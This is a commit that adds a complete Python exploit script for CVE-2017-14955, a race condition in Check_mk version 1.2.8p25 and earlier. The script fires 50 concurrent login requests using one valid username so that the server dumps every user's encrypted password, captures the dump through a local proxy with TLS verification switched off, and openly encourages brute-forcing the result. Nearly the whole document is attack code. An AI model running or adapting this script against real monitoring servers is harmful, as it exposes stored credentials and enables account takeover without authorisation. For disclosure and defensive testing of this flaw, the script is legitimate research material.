new_contents: #!/usr/bin/python
  # Exploit Title: Check_mk <= v1.2.8p25 save_users() Race Condition
  # Version:       <= 1.2.8p25
  # Date:          2017-10-18
  # Author:        Julien Ahrens (@MrTuxracer)
  # Homepage:      https://www.rcesecurity.com
  # Software Link: https://mathias-kettner.de/check_mk.html
  # Tested on:     1.2.8p25
  # CVE:		 CVE-2017-14955
  #
  # Howto / Notes:
  # This scripts exploits the Race Condition in check_mk version 1.2.8p25 and
  # below as described by CVE-2017-14955. You only need a valid username to
  # dump all encrypted passwords and make sure to setup a local proxy to
  # catch the dump. Happy brute forcing ;-)
  
  import requests
  import threading
  
  try:
  	from requests.packages.urllib3.exceptions import InsecureRequestWarning
  	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  except:
  	pass
  
  # Config Me
  target_url = "https://localhost/check_mk/login.py"
  target_username = "omdadmin"
  
  proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080',
  }
  
  def make_session():
  	v = requests.post(target_url, verify=False, proxies=proxies, files={'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (None, 'index.py'), '_username': (None, target_username), '_password': (None, 'random'), '_login': (None, 'Login')})
  	return v.content
  
  NUM = 50
  
  threads = []
  for i in range(NUM):
      t = threading.Thread(target=make_session)
      threads.append(t)
      t.start()
  
subject: Create CVE-2017-14955.py